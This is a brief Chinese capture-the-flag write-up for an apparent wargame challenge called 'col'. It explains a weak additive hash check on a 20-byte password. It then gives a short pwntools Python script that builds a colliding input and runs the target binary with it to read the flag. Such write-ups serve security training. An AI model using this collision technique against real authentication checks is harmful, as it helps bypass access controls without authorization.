输入为一个长为20的字符串,check_password函数的意思是把这20字节的字符串转为5个4字节的整型数求值,求和结果和hashcode值做比较,相同则读取flag
脚本如下
#! /usr/bin/env python
# -*- coding: utf-8 -*-
import subprocess
from pwn import *
hashcode = 0x21DD09EC
tmp1 = 0x01010101
tmp2 = hashcode - 4 * tmp1
payload = p32(tmp1) * 4 + p32(tmp2)
target = subprocess.Popen(args=["/home/col/col", payload])